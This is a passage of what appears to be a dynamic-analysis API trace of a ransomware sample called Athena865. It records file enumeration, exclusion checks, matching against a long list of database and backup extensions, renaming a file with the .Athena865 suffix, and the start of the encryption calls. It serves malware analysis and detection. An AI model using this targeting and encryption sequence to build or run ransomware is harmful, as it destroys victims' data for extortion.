hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ad08 | out: hHeap=0x4f0000) returned 1 [0090.627] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0090.627] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xbf5322e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbf5322e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0090.627] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0090.627] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0090.627] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0090.627] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xbf5322e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbf5322e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.627] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0090.627] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0090.627] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0090.628] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0090.628] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5570eaa, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5570eaa, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46a6d3e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x155e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="blank.jtp", cAlternateFileName="")) returned 1 [0090.628] lstrcmpiW (lpString1="blank.jtp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0090.628] lstrcmpiW (lpString1="blank.jtp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0090.628] lstrcmpiW (lpString1="blank.jtp", lpString2=".") returned 1 [0090.628] lstrcmpiW (lpString1="blank.jtp", lpString2="..") returned 1 [0090.628] lstrcmpiW (lpString1="blank.jtp", lpString2="windows") returned -1 [0090.628] lstrcmpiW (lpString1="blank.jtp", lpString2="bootmgr") returned -1 [0090.628] lstrcmpiW (lpString1="blank.jtp", lpString2="temp") returned -1 [0090.628] lstrcmpiW (lpString1="blank.jtp", lpString2="pagefile.sys") returned -1 [0090.628] lstrcmpiW (lpString1="blank.jtp", lpString2="boot") returned -1 [0090.628] lstrcmpiW (lpString1="blank.jtp", lpString2="ids.txt") returned -1 [0090.628] lstrcmpiW (lpString1="blank.jtp", lpString2="ntuser.dat") returned -1 [0090.628] lstrcmpiW (lpString1="blank.jtp", lpString2="perflogs") returned -1 [0090.628] lstrcmpiW (lpString1="blank.jtp", lpString2="MSBuild") returned -1 [0090.628] lstrlenW (lpString="blank.jtp") returned 9 [0090.628] lstrcpyW (in: lpString1=0x241e89e, lpString2="blank.jtp" | out: lpString1="blank.jtp") returned="blank.jtp" [0090.628] lstrlenW (lpString="blank.jtp") returned 9 [0090.628] lstrlenW (lpString="Athena865") returned 9 [0090.628] lstrlenW (lpString=".dll") returned 4 [0090.628] lstrcmpiW (lpString1="blank.jtp", lpString2=".dll") returned 1 [0090.628] lstrlenW (lpString=".lnk") returned 4 [0090.628] lstrcmpiW (lpString1="blank.jtp", lpString2=".lnk") returned 1 [0090.628] lstrlenW (lpString=".ini") returned 4 [0090.628] lstrcmpiW (lpString1="blank.jtp", lpString2=".ini") returned 1 [0090.628] lstrlenW (lpString=".sys") returned 4 [0090.628] lstrcmpiW (lpString1="blank.jtp", lpString2=".sys") returned 1 [0090.628] lstrlenW (lpString="blank.jtp") returned 9 [0090.628] lstrlenW (lpString="bak") returned 3 [0090.629] lstrcmpiW (lpString1="jtp", lpString2="bak") returned 1 [0090.629] lstrlenW (lpString="ba_") returned 3 [0090.629] lstrcmpiW (lpString1="jtp", lpString2="ba_") returned 1 [0090.629] lstrlenW (lpString="dbb") returned 3 [0090.629] lstrcmpiW (lpString1="jtp", lpString2="dbb") returned 1 [0090.629] lstrlenW (lpString="vmdk") returned 4 [0090.629] lstrcmpiW (lpString1=".jtp", lpString2="vmdk") returned -1 [0090.629] lstrlenW (lpString="rar") returned 3 [0090.629] lstrcmpiW (lpString1="jtp", lpString2="rar") returned -1 [0090.629] lstrlenW (lpString="zip") returned 3 [0090.629] lstrcmpiW (lpString1="jtp", lpString2="zip") returned -1 [0090.629] lstrlenW (lpString="tgz") returned 3 [0090.629] lstrcmpiW (lpString1="jtp", lpString2="tgz") returned -1 [0090.629] lstrlenW (lpString="vbox") returned 4 [0090.629] lstrcmpiW (lpString1=".jtp", lpString2="vbox") returned -1 [0090.629] lstrlenW (lpString="vdi") returned 3 [0090.629] lstrcmpiW (lpString1="jtp", lpString2="vdi") returned -1 [0090.629] lstrlenW (lpString="vhd") returned 3 [0090.629] lstrcmpiW (lpString1="jtp", lpString2="vhd") returned -1 [0090.629] lstrlenW (lpString="vhdx") returned 4 [0090.629] lstrcmpiW (lpString1=".jtp", lpString2="vhdx") returned -1 [0090.629] lstrlenW (lpString="avhd") returned 4 [0090.629] lstrcmpiW (lpString1=".jtp", lpString2="avhd") returned -1 [0090.629] lstrlenW (lpString="db") returned 2 [0090.629] lstrcmpiW (lpString1="tp", lpString2="db") returned 1 [0090.629] lstrlenW (lpString="db2") returned 3 [0090.629] lstrcmpiW (lpString1="jtp", lpString2="db2") returned 1 [0090.629] lstrlenW (lpString="db3") returned 3 [0090.629] lstrcmpiW (lpString1="jtp", lpString2="db3") returned 1 [0090.629] lstrlenW (lpString="dbf") returned 3 [0090.629] lstrcmpiW (lpString1="jtp", lpString2="dbf") returned 1 [0090.629] lstrlenW (lpString="mdf") returned 3 [0090.630] lstrcmpiW (lpString1="jtp", lpString2="mdf") returned -1 [0090.630] lstrlenW (lpString="mdb") returned 3 [0090.630] lstrcmpiW (lpString1="jtp", lpString2="mdb") returned -1 [0090.630] lstrlenW (lpString="sql") returned 3 [0090.630] lstrcmpiW (lpString1="jtp", lpString2="sql") returned -1 [0090.630] lstrlenW (lpString="sqlite") returned 6 [0090.630] lstrcmpiW (lpString1="nk.jtp", lpString2="sqlite") returned -1 [0090.630] lstrlenW (lpString="sqlite3") returned 7 [0090.630] lstrcmpiW (lpString1="ank.jtp", lpString2="sqlite3") returned -1 [0090.630] lstrlenW (lpString="sqlitedb") returned 8 [0090.630] lstrcmpiW (lpString1="lank.jtp", lpString2="sqlitedb") returned -1 [0090.630] lstrlenW (lpString="xml") returned 3 [0090.630] lstrcmpiW (lpString1="jtp", lpString2="xml") returned -1 [0090.630] lstrlenW (lpString="$er") returned 3 [0090.630] lstrcmpiW (lpString1="jtp", lpString2="$er") returned 1 [0090.630] lstrlenW (lpString="4dd") returned 3 [0090.630] lstrcmpiW (lpString1="jtp", lpString2="4dd") returned 1 [0090.630] lstrlenW (lpString="4dl") returned 3 [0090.630] lstrcmpiW (lpString1="jtp", lpString2="4dl") returned 1 [0090.630] lstrlenW (lpString="^^^") returned 3 [0090.630] lstrcmpiW (lpString1="jtp", lpString2="^^^") returned 1 [0090.630] lstrlenW (lpString="abs") returned 3 [0090.630] lstrcmpiW (lpString1="jtp", lpString2="abs") returned 1 [0090.630] lstrlenW (lpString="abx") returned 3 [0090.630] lstrcmpiW (lpString1="jtp", lpString2="abx") returned 1 [0090.630] lstrlenW (lpString="accdb") returned 5 [0090.630] lstrcmpiW (lpString1="k.jtp", lpString2="accdb") returned 1 [0090.630] lstrlenW (lpString="accdc") returned 5 [0090.630] lstrcmpiW (lpString1="k.jtp", lpString2="accdc") returned 1 [0090.630] lstrlenW (lpString="accde") returned 5 [0090.630] lstrcmpiW (lpString1="k.jtp", lpString2="accde") returned 1 [0090.631] lstrlenW (lpString="accdr") returned 5 [0090.631] lstrcmpiW (lpString1="k.jtp", lpString2="accdr") returned 1 [0090.631] lstrlenW (lpString="accdt") returned 5 [0090.631] lstrcmpiW (lpString1="k.jtp", lpString2="accdt") returned 1 [0090.631] lstrlenW (lpString="accdw") returned 5 [0090.631] lstrcmpiW (lpString1="k.jtp", lpString2="accdw") returned 1 [0090.631] lstrlenW (lpString="accft") returned 5 [0090.631] lstrcmpiW (lpString1="k.jtp", lpString2="accft") returned 1 [0090.631] lstrlenW (lpString="adb") returned 3 [0090.631] lstrcmpiW (lpString1="jtp", lpString2="adb") returned 1 [0090.631] lstrlenW (lpString="adb") returned 3 [0090.631] lstrcmpiW (lpString1="jtp", lpString2="adb") returned 1 [0090.631] lstrlenW (lpString="ade") returned 3 [0090.631] lstrcmpiW (lpString1="jtp", lpString2="ade") returned 1 [0090.631] lstrlenW (lpString="adf") returned 3 [0090.631] lstrcmpiW (lpString1="jtp", lpString2="adf") returned 1 [0090.631] lstrlenW (lpString="adn") returned 3 [0090.631] lstrcmpiW (lpString1="jtp", lpString2="adn") returned 1 [0090.631] lstrlenW (lpString="adp") returned 3 [0090.631] lstrcmpiW (lpString1="jtp", lpString2="adp") returned 1 [0090.631] lstrlenW (lpString="alf") returned 3 [0090.631] lstrcmpiW (lpString1="jtp", lpString2="alf") returned 1 [0090.631] lstrlenW (lpString="ask") returned 3 [0090.631] lstrcmpiW (lpString1="jtp", lpString2="ask") returned 1 [0090.631] lstrlenW (lpString="btr") returned 3 [0090.631] lstrcmpiW (lpString1="jtp", lpString2="btr") returned 1 [0090.631] lstrlenW (lpString="cat") returned 3 [0090.631] lstrcmpiW (lpString1="jtp", lpString2="cat") returned 1 [0090.631] lstrlenW (lpString="cdb") returned 3 [0090.631] lstrcmpiW (lpString1="jtp", lpString2="cdb") returned 1 [0090.632] lstrlenW (lpString="ckp") returned 3 [0090.632] lstrcmpiW (lpString1="jtp", lpString2="ckp") returned 1 [0090.632] lstrlenW (lpString="cma") returned 3 [0090.632] lstrcmpiW (lpString1="jtp", lpString2="cma") returned 1 [0090.632] lstrlenW (lpString="cpd") returned 3 [0090.632] lstrcmpiW (lpString1="jtp", lpString2="cpd") returned 1 [0090.632] lstrlenW (lpString="dacpac") returned 6 [0090.632] lstrcmpiW (lpString1="nk.jtp", lpString2="dacpac") returned 1 [0090.632] lstrlenW (lpString="dad") returned 3 [0090.632] lstrcmpiW (lpString1="jtp", lpString2="dad") returned 1 [0090.632] lstrlenW (lpString="dadiagrams") returned 10 [0090.632] lstrlenW (lpString="daschema") returned 8 [0090.632] lstrcmpiW (lpString1="lank.jtp", lpString2="daschema") returned 1 [0090.632] lstrlenW (lpString="db-journal") returned 10 [0090.632] lstrlenW (lpString="db-shm") returned 6 [0090.632] lstrcmpiW (lpString1="nk.jtp", lpString2="db-shm") returned 1 [0090.632] lstrlenW (lpString="db-wal") returned 6 [0090.632] lstrcmpiW (lpString1="nk.jtp", lpString2="db-wal") returned 1 [0090.632] lstrlenW (lpString="dbc") returned 3 [0090.632] lstrcmpiW (lpString1="jtp", lpString2="dbc") returned 1 [0090.632] lstrlenW (lpString="dbs") returned 3 [0090.632] lstrcmpiW (lpString1="jtp", lpString2="dbs") returned 1 [0090.632] lstrlenW (lpString="dbt") returned 3 [0090.632] lstrcmpiW (lpString1="jtp", lpString2="dbt") returned 1 [0090.632] lstrlenW (lpString="dbv") returned 3 [0090.632] lstrcmpiW (lpString1="jtp", lpString2="dbv") returned 1 [0090.632] lstrlenW (lpString="dbx") returned 3 [0090.632] lstrcmpiW (lpString1="jtp", lpString2="dbx") returned 1 [0090.632] lstrlenW (lpString="dcb") returned 3 [0090.632] lstrcmpiW (lpString1="jtp", lpString2="dcb") returned 1 [0090.632] lstrlenW (lpString="dct") returned 3 [0090.633] lstrcmpiW (lpString1="jtp", lpString2="dct") returned 1 [0090.633] lstrlenW (lpString="dcx") returned 3 [0090.633] lstrcmpiW (lpString1="jtp", lpString2="dcx") returned 1 [0090.633] lstrlenW (lpString="ddl") returned 3 [0090.633] lstrcmpiW (lpString1="jtp", lpString2="ddl") returned 1 [0090.633] lstrlenW (lpString="dlis") returned 4 [0090.633] lstrcmpiW (lpString1=".jtp", lpString2="dlis") returned -1 [0090.633] lstrlenW (lpString="dp1") returned 3 [0090.633] lstrcmpiW (lpString1="jtp", lpString2="dp1") returned 1 [0090.633] lstrlenW (lpString="dqy") returned 3 [0090.633] lstrcmpiW (lpString1="jtp", lpString2="dqy") returned 1 [0090.633] lstrlenW (lpString="dsk") returned 3 [0090.633] lstrcmpiW (lpString1="jtp", lpString2="dsk") returned 1 [0090.633] lstrlenW (lpString="dsn") returned 3 [0090.633] lstrcmpiW (lpString1="jtp", lpString2="dsn") returned 1 [0090.633] lstrlenW (lpString="dtsx") returned 4 [0090.633] lstrcmpiW (lpString1=".jtp", lpString2="dtsx") returned -1 [0090.633] lstrlenW (lpString="dxl") returned 3 [0090.633] lstrcmpiW (lpString1="jtp", lpString2="dxl") returned 1 [0090.633] lstrlenW (lpString="eco") returned 3 [0090.633] lstrcmpiW (lpString1="jtp", lpString2="eco") returned 1 [0090.633] lstrlenW (lpString="ecx") returned 3 [0090.633] lstrcmpiW (lpString1="jtp", lpString2="ecx") returned 1 [0090.633] lstrlenW (lpString="edb") returned 3 [0090.633] lstrcmpiW (lpString1="jtp", lpString2="edb") returned 1 [0090.633] lstrlenW (lpString="epim") returned 4 [0090.633] lstrcmpiW (lpString1=".jtp", lpString2="epim") returned -1 [0090.633] lstrlenW (lpString="fcd") returned 3 [0090.633] lstrcmpiW (lpString1="jtp", lpString2="fcd") returned 1 [0090.633] lstrlenW (lpString="fdb") returned 3 [0090.633] lstrcmpiW (lpString1="jtp", lpString2="fdb") returned 1 [0090.633] lstrlenW (lpString="fic") returned 3 [0090.633] lstrcmpiW (lpString1="jtp", lpString2="fic") returned 1 [0090.634] lstrlenW (lpString="flexolibrary") returned 12 [0090.634] lstrlenW (lpString="fm5") returned 3 [0090.634] lstrcmpiW (lpString1="jtp", lpString2="fm5") returned 1 [0090.634] lstrlenW (lpString="fmp") returned 3 [0090.634] lstrcmpiW (lpString1="jtp", lpString2="fmp") returned 1 [0090.634] lstrlenW (lpString="fmp12") returned 5 [0090.634] lstrcmpiW (lpString1="k.jtp", lpString2="fmp12") returned 1 [0090.634] lstrlenW (lpString="fmpsl") returned 5 [0090.634] lstrcmpiW (lpString1="k.jtp", lpString2="fmpsl") returned 1 [0090.634] lstrlenW (lpString="fol") returned 3 [0090.634] lstrcmpiW (lpString1="jtp", lpString2="fol") returned 1 [0090.634] lstrlenW (lpString="fp3") returned 3 [0090.634] lstrcmpiW (lpString1="jtp", lpString2="fp3") returned 1 [0090.634] lstrlenW (lpString="fp4") returned 3 [0090.634] lstrcmpiW (lpString1="jtp", lpString2="fp4") returned 1 [0090.634] lstrlenW (lpString="fp5") returned 3 [0090.634] lstrcmpiW (lpString1="jtp", lpString2="fp5") returned 1 [0090.634] lstrlenW (lpString="fp7") returned 3 [0090.634] lstrcmpiW (lpString1="jtp", lpString2="fp7") returned 1 [0090.634] lstrlenW (lpString="fpt") returned 3 [0090.634] lstrcmpiW (lpString1="jtp", lpString2="fpt") returned 1 [0090.634] lstrlenW (lpString="frm") returned 3 [0090.634] lstrcmpiW (lpString1="jtp", lpString2="frm") returned 1 [0090.634] lstrlenW (lpString="gdb") returned 3 [0090.634] lstrcmpiW (lpString1="jtp", lpString2="gdb") returned 1 [0090.634] lstrlenW (lpString="gdb") returned 3 [0090.634] lstrcmpiW (lpString1="jtp", lpString2="gdb") returned 1 [0090.634] lstrlenW (lpString="grdb") returned 4 [0090.634] lstrcmpiW (lpString1=".jtp", lpString2="grdb") returned -1 [0090.634] lstrlenW (lpString="gwi") returned 3 [0090.634] lstrcmpiW (lpString1="jtp", lpString2="gwi") returned 1 [0090.635] lstrlenW (lpString="hdb") returned 3 [0090.635] lstrcmpiW (lpString1="jtp", lpString2="hdb") returned 1 [0090.635] lstrlenW (lpString="his") returned 3 [0090.635] lstrcmpiW (lpString1="jtp", lpString2="his") returned 1 [0090.635] lstrlenW (lpString="ib") returned 2 [0090.635] lstrcmpiW (lpString1="tp", lpString2="ib") returned 1 [0090.635] lstrlenW (lpString="idb") returned 3 [0090.635] lstrcmpiW (lpString1="jtp", lpString2="idb") returned 1 [0090.635] lstrlenW (lpString="ihx") returned 3 [0090.635] lstrcmpiW (lpString1="jtp", lpString2="ihx") returned 1 [0090.635] lstrlenW (lpString="itdb") returned 4 [0090.635] lstrcmpiW (lpString1=".jtp", lpString2="itdb") returned -1 [0090.635] lstrlenW (lpString="itw") returned 3 [0090.635] lstrcmpiW (lpString1="jtp", lpString2="itw") returned 1 [0090.635] lstrlenW (lpString="jet") returned 3 [0090.635] lstrcmpiW (lpString1="jtp", lpString2="jet") returned 1 [0090.635] lstrlenW (lpString="jtx") returned 3 [0090.635] lstrcmpiW (lpString1="jtp", lpString2="jtx") returned -1 [0090.635] lstrlenW (lpString="kdb") returned 3 [0090.635] lstrcmpiW (lpString1="jtp", lpString2="kdb") returned -1 [0090.635] lstrlenW (lpString="kexi") returned 4 [0090.635] lstrcmpiW (lpString1=".jtp", lpString2="kexi") returned -1 [0090.635] lstrlenW (lpString="kexic") returned 5 [0090.635] lstrcmpiW (lpString1="k.jtp", lpString2="kexic") returned -1 [0090.635] lstrlenW (lpString="kexis") returned 5 [0090.635] lstrcmpiW (lpString1="k.jtp", lpString2="kexis") returned -1 [0090.635] lstrlenW (lpString="lgc") returned 3 [0090.635] lstrcmpiW (lpString1="jtp", lpString2="lgc") returned -1 [0090.635] lstrlenW (lpString="lwx") returned 3 [0090.635] lstrcmpiW (lpString1="jtp", lpString2="lwx") returned -1 [0090.636] lstrlenW (lpString="maf") returned 3 [0090.636] lstrcmpiW (lpString1="jtp", lpString2="maf") returned -1 [0090.636] lstrlenW (lpString="maq") returned 3 [0090.636] lstrcmpiW (lpString1="jtp", lpString2="maq") returned -1 [0090.636] lstrlenW (lpString="mar") returned 3 [0090.636] lstrcmpiW (lpString1="jtp", lpString2="mar") returned -1 [0090.636] lstrlenW (lpString="marshal") returned 7 [0090.636] lstrcmpiW (lpString1="ank.jtp", lpString2="marshal") returned -1 [0090.636] lstrlenW (lpString="mas") returned 3 [0090.636] lstrcmpiW (lpString1="jtp", lpString2="mas") returned -1 [0090.636] lstrlenW (lpString="mav") returned 3 [0090.636] lstrcmpiW (lpString1="jtp", lpString2="mav") returned -1 [0090.636] lstrlenW (lpString="maw") returned 3 [0090.636] lstrcmpiW (lpString1="jtp", lpString2="maw") returned -1 [0090.636] lstrlenW (lpString="mdbhtml") returned 7 [0090.636] lstrcmpiW (lpString1="ank.jtp", lpString2="mdbhtml") returned -1 [0090.636] lstrlenW (lpString="mdn") returned 3 [0090.636] lstrcmpiW (lpString1="jtp", lpString2="mdn") returned -1 [0090.636] lstrlenW (lpString="mdt") returned 3 [0090.636] lstrcmpiW (lpString1="jtp", lpString2="mdt") returned -1 [0090.636] lstrlenW (lpString="mfd") returned 3 [0090.636] lstrcmpiW (lpString1="jtp", lpString2="mfd") returned -1 [0090.636] lstrlenW (lpString="mpd") returned 3 [0090.636] lstrcmpiW (lpString1="jtp", lpString2="mpd") returned -1 [0090.636] lstrlenW (lpString="mrg") returned 3 [0090.636] lstrcmpiW (lpString1="jtp", lpString2="mrg") returned -1 [0090.636] lstrlenW (lpString="mud") returned 3 [0090.636] lstrcmpiW (lpString1="jtp", lpString2="mud") returned -1 [0090.636] lstrlenW (lpString="mwb") returned 3 [0090.636] lstrcmpiW (lpString1="jtp", lpString2="mwb") returned -1 [0090.636] lstrlenW (lpString="myd") returned 3 [0090.637] lstrcmpiW (lpString1="jtp", lpString2="myd") returned -1 [0090.637] lstrlenW (lpString="ndf") returned 3 [0090.637] lstrcmpiW (lpString1="jtp", lpString2="ndf") returned -1 [0090.637] lstrlenW (lpString="nnt") returned 3 [0090.637] lstrcmpiW (lpString1="jtp", lpString2="nnt") returned -1 [0090.637] lstrlenW (lpString="nrmlib") returned 6 [0090.637] lstrcmpiW (lpString1="nk.jtp", lpString2="nrmlib") returned -1 [0090.637] lstrlenW (lpString="ns2") returned 3 [0090.637] lstrcmpiW (lpString1="jtp", lpString2="ns2") returned -1 [0090.637] lstrlenW (lpString="ns3") returned 3 [0090.637] lstrcmpiW (lpString1="jtp", lpString2="ns3") returned -1 [0090.637] lstrlenW (lpString="ns4") returned 3 [0090.637] lstrcmpiW (lpString1="jtp", lpString2="ns4") returned -1 [0090.637] lstrlenW (lpString="nsf") returned 3 [0090.637] lstrcmpiW (lpString1="jtp", lpString2="nsf") returned -1 [0090.637] lstrlenW (lpString="nv") returned 2 [0090.637] lstrcmpiW (lpString1="tp", lpString2="nv") returned 1 [0090.637] lstrlenW (lpString="nv2") returned 3 [0090.637] lstrcmpiW (lpString1="jtp", lpString2="nv2") returned -1 [0090.637] lstrlenW (lpString="nwdb") returned 4 [0090.637] lstrcmpiW (lpString1=".jtp", lpString2="nwdb") returned -1 [0090.637] lstrlenW (lpString="nyf") returned 3 [0090.637] lstrcmpiW (lpString1="jtp", lpString2="nyf") returned -1 [0090.637] lstrlenW (lpString="odb") returned 3 [0090.637] lstrcmpiW (lpString1="jtp", lpString2="odb") returned -1 [0090.637] lstrlenW (lpString="odb") returned 3 [0090.637] lstrcmpiW (lpString1="jtp", lpString2="odb") returned -1 [0090.637] lstrlenW (lpString="oqy") returned 3 [0090.637] lstrcmpiW (lpString1="jtp", lpString2="oqy") returned -1 [0090.637] lstrlenW (lpString="ora") returned 3 [0090.637] lstrcmpiW (lpString1="jtp", lpString2="ora") returned -1 [0090.637] lstrlenW (lpString="orx") returned 3 [0090.637] lstrcmpiW (lpString1="jtp", lpString2="orx") returned -1 [0090.638] lstrlenW (lpString="owc") returned 3 [0090.638] lstrcmpiW (lpString1="jtp", lpString2="owc") returned -1 [0090.638] lstrlenW (lpString="p96") returned 3 [0090.638] lstrcmpiW (lpString1="jtp", lpString2="p96") returned -1 [0090.638] lstrlenW (lpString="p97") returned 3 [0090.638] lstrcmpiW (lpString1="jtp", lpString2="p97") returned -1 [0090.638] lstrlenW (lpString="pan") returned 3 [0090.638] lstrcmpiW (lpString1="jtp", lpString2="pan") returned -1 [0090.638] lstrlenW (lpString="pdb") returned 3 [0090.638] lstrcmpiW (lpString1="jtp", lpString2="pdb") returned -1 [0090.638] lstrlenW (lpString="pdm") returned 3 [0090.638] lstrcmpiW (lpString1="jtp", lpString2="pdm") returned -1 [0090.638] lstrlenW (lpString="pnz") returned 3 [0090.638] lstrcmpiW (lpString1="jtp", lpString2="pnz") returned -1 [0090.638] lstrlenW (lpString="qry") returned 3 [0090.638] lstrcmpiW (lpString1="jtp", lpString2="qry") returned -1 [0090.638] lstrlenW (lpString="qvd") returned 3 [0090.638] lstrcmpiW (lpString1="jtp", lpString2="qvd") returned -1 [0090.638] lstrlenW (lpString="rbf") returned 3 [0090.638] lstrcmpiW (lpString1="jtp", lpString2="rbf") returned -1 [0090.638] lstrlenW (lpString="rctd") returned 4 [0090.638] lstrcmpiW (lpString1=".jtp", lpString2="rctd") returned -1 [0090.638] lstrlenW (lpString="rod") returned 3 [0090.638] lstrcmpiW (lpString1="jtp", lpString2="rod") returned -1 [0090.638] lstrlenW (lpString="rodx") returned 4 [0090.638] lstrcmpiW (lpString1=".jtp", lpString2="rodx") returned -1 [0090.638] lstrlenW (lpString="rpd") returned 3 [0090.639] lstrcmpiW (lpString1="jtp", lpString2="rpd") returned -1 [0090.639] lstrlenW (lpString="rsd") returned 3 [0090.639] lstrcmpiW (lpString1="jtp", lpString2="rsd") returned -1 [0090.639] lstrlenW (lpString="sas7bdat") returned 8 [0090.639] lstrcmpiW (lpString1="lank.jtp", lpString2="sas7bdat") returned -1 [0090.639] lstrlenW (lpString="sbf") returned 3 [0090.639] lstrcmpiW (lpString1="jtp", lpString2="sbf") returned -1 [0090.639] lstrlenW (lpString="scx") returned 3 [0090.639] lstrcmpiW (lpString1="jtp", lpString2="scx") returned -1 [0090.639] lstrlenW (lpString="sdb") returned 3 [0090.639] lstrcmpiW (lpString1="jtp", lpString2="sdb") returned -1 [0090.639] lstrlenW (lpString="sdc") returned 3 [0090.639] lstrcmpiW (lpString1="jtp", lpString2="sdc") returned -1 [0090.639] lstrlenW (lpString="sdf") returned 3 [0090.639] lstrcmpiW (lpString1="jtp", lpString2="sdf") returned -1 [0090.639] lstrlenW (lpString="sis") returned 3 [0090.639] lstrcmpiW (lpString1="jtp", lpString2="sis") returned -1 [0090.639] lstrlenW (lpString="spq") returned 3 [0090.639] lstrcmpiW (lpString1="jtp", lpString2="spq") returned -1 [0090.639] lstrlenW (lpString="te") returned 2 [0090.639] lstrcmpiW (lpString1="tp", lpString2="te") returned 1 [0090.639] lstrlenW (lpString="teacher") returned 7 [0090.639] lstrcmpiW (lpString1="ank.jtp", lpString2="teacher") returned -1 [0090.639] lstrlenW (lpString="tmd") returned 3 [0090.639] lstrcmpiW (lpString1="jtp", lpString2="tmd") returned -1 [0090.639] lstrlenW (lpString="tps") returned 3 [0090.639] lstrcmpiW (lpString1="jtp", lpString2="tps") returned -1 [0090.639] lstrlenW (lpString="trc") returned 3 [0090.639] lstrcmpiW (lpString1="jtp", lpString2="trc") returned -1 [0090.639] lstrlenW (lpString="trc") returned 3 [0090.640] lstrcmpiW (lpString1="jtp", lpString2="trc") returned -1 [0090.640] lstrlenW (lpString="trm") returned 3 [0090.640] lstrcmpiW (lpString1="jtp", lpString2="trm") returned -1 [0090.640] lstrlenW (lpString="udb") returned 3 [0090.640] lstrcmpiW (lpString1="jtp", lpString2="udb") returned -1 [0090.640] lstrlenW (lpString="udl") returned 3 [0090.640] lstrcmpiW (lpString1="jtp", lpString2="udl") returned -1 [0090.640] lstrlenW (lpString="usr") returned 3 [0090.640] lstrcmpiW (lpString1="jtp", lpString2="usr") returned -1 [0090.640] lstrlenW (lpString="v12") returned 3 [0090.640] lstrcmpiW (lpString1="jtp", lpString2="v12") returned -1 [0090.640] lstrlenW (lpString="vis") returned 3 [0090.640] lstrcmpiW (lpString1="jtp", lpString2="vis") returned -1 [0090.640] lstrlenW (lpString="vpd") returned 3 [0090.640] lstrcmpiW (lpString1="jtp", lpString2="vpd") returned -1 [0090.640] lstrlenW (lpString="vvv") returned 3 [0090.640] lstrcmpiW (lpString1="jtp", lpString2="vvv") returned -1 [0090.640] lstrlenW (lpString="wdb") returned 3 [0090.640] lstrcmpiW (lpString1="jtp", lpString2="wdb") returned -1 [0090.640] lstrlenW (lpString="wmdb") returned 4 [0090.640] lstrcmpiW (lpString1=".jtp", lpString2="wmdb") returned -1 [0090.640] lstrlenW (lpString="wrk") returned 3 [0090.640] lstrcmpiW (lpString1="jtp", lpString2="wrk") returned -1 [0090.640] lstrlenW (lpString="xdb") returned 3 [0090.640] lstrcmpiW (lpString1="jtp", lpString2="xdb") returned -1 [0090.640] lstrlenW (lpString="xld") returned 3 [0090.640] lstrcmpiW (lpString1="jtp", lpString2="xld") returned -1 [0090.640] lstrlenW (lpString="xmlff") returned 5 [0090.640] lstrcmpiW (lpString1="k.jtp", lpString2="xmlff") returned -1 [0090.640] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp.Athena865") returned 62 [0090.640] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp" (normalized: "c:\\program files\\windows journal\\templates\\blank.jtp"), lpNewFileName="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp.Athena865" (normalized: "c:\\program files\\windows journal\\templates\\blank.jtp.athena865"), dwFlags=0x1) returned 1 [0090.642] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp.Athena865" (normalized: "c:\\program files\\windows journal\\templates\\blank.jtp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.642] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5470) returned 1 [0090.642] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.642] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.642] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.642] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.643] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, 